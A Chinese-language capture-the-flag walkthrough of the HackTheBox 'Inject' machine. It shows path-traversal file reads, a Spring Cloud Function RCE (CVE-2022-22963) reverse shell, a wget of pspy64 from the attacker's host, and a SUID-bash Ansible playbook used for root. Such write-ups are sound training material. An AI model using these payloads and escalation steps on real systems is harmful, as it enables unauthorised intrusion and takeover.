HackTheBox-Machines--Inject

Inject 测试过程


0x01 信息收集


   a.端口扫描: 发现22、8080端口

nmap -sC -sV 10.129.228.213

在这里插入图片描述

  访问 10.129.228.213:8080 web页面,在页面中存在一处文件上传接口 upload

在这里插入图片描述

0x02 漏洞探测


1.文件上传功能探测


在这里插入图片描述

  图片文件上传成功后,view your Image按钮可以查看图片路径

在这里插入图片描述

在这里插入图片描述

  http://10.129.228.213:8080/show_image?img=test.jpg,观察img参数,如果对image参数内容没有进行过滤,那么就有可能导致路径遍历、文件包含

2.文件包含漏洞测试


1.利用文件包含漏洞读取/etc/passwd

GET /show_image?img=../../../../../../etc/passwd

  可以读取/etc/passwd文件,证明存在文件包含漏洞

在这里插入图片描述

2.利用文件包含漏洞读取其他敏感文件

# 读取应用程序的web目录
GET /show_image?img=../../../../../../var/www

在这里插入图片描述

GET /show_image?img=../../../../../../var/www/WebApp

在这里插入图片描述

GET /show_image?img=../../../../../../var/www/WebApp/pom.xml

在这里插入图片描述

GET /show_image?img=../../../../../../var/www/WebApp/pom.xml

  发现 3.2.2版本的spring-cloud-function-web

在这里插入图片描述

3.探测3.2.2版本的spring-cloud-function-web是否存在已知漏洞


1.搜索引擎搜索 spring-cloud-function-web - exploit

在这里插入图片描述

2.发现存在漏洞编号为:CVE-2022-22963

  漏洞利用工具 python 脚本地址:CVE-2022-22963-RCE

  修改脚本文件中lhost、lport、rhost、rport参数

在这里插入图片描述

  执行spring-cloud-rce.py脚本,并在本地 ncat -lnvp 4444 执行监听

在这里插入图片描述

  脚本成功执行并获取到shell,使用 script /dev/null -c bash 命令获取稳定 tty

script /dev/null -c bash

在这里插入图片描述

0x03 横向移动


1.查看当前权限的可访问文件

  在/.m2/settings.xml文件中发现存在 phil 用户密码 DocPhillovestoInject123

在这里插入图片描述

2.切换到phil用户 philDocPhillovestoInject123

  ssh连接失败,使用su命令进行切换

在这里插入图片描述

0x04 权限提升


sudo -l 

在这里插入图片描述

1.上传pspy64二进制文件检测系统可用进程

  本地开启http server服务

python3 -m http.server 8000

  下载pspy64,并赋予执行权限

wget http://10.10.14.150:8000/pspy64
chmod +x pspy64
./pspy64

在这里插入图片描述

2.运行pspy工具发现如下进程

在这里插入图片描述

  使用root权限, ansible-parallel 工具执行 /opt/automation/tasks/*.yml
  删除 /opt/automation/tasks/*,然后将 /root/playbook_1.yml 文件复制到 /opt/automation/tasks/ 目录下

  1.查看 /opt/automation/tasks/ 目录权限,root用户和staff用户组具有读写权限

在这里插入图片描述

  2.查看 playbook_1.yml 文件内容,文件检查webapp服务是否在本地机器运行,如果没有,则启动并配置为开机自动运行
在这里插入图片描述

  如果staff组的用户可以改写playbook_1.yml文件,那么就可以写入shell,获取root权限

3.获取root权限

  检查发现 phil 用户是staff组的成员,刚好满足我们获取 root 权限的第一个条件
在这里插入图片描述

  编辑yml文件,写入 bash 命令,并将其上传到目标主机

# playbook_3.yml
- hosts: localhost
  tasks:
    - name: ROOT
      command: chmod u+s /bin/bash
      become: true

  本地开启 http.server 服务

python3 -m http.server 8000

  上传playbook_3.yml文件

在这里插入图片描述

/bin/bash -p

  /bin/bash -p 是一个命令行参数,它指示系统在运行 bash shell 时以特权模式执行。这样可以让用户以 root 用户的权限运行 bash shell,具有更高的权限执行一些操作。
在这里插入图片描述

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-11 16:56:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-11 16:56:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-11 16:56:02       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-11 16:56:02       20 阅读

热门阅读

  1. Hudi 清理器的是怎么工作的?

    2024-04-11 16:56:02       14 阅读
  2. NOA狂奔背后的车企智驾拼杀

    2024-04-11 16:56:02       16 阅读
  3. Docker搭建CouchPotato

    2024-04-11 16:56:02       14 阅读
  4. 人工智能大模型引领数据库存储革新

    2024-04-11 16:56:02       13 阅读
  5. Linux 测试磁盘读写速度

    2024-04-11 16:56:02       14 阅读
  6. 【ROS2笔记二】使用colcon构建ROS2工作空间

    2024-04-11 16:56:02       14 阅读
  7. (29)4.11通讯录

    2024-04-11 16:56:02       17 阅读
  8. 蓝桥杯练习题 —— A+B问题(python)

    2024-04-11 16:56:02       16 阅读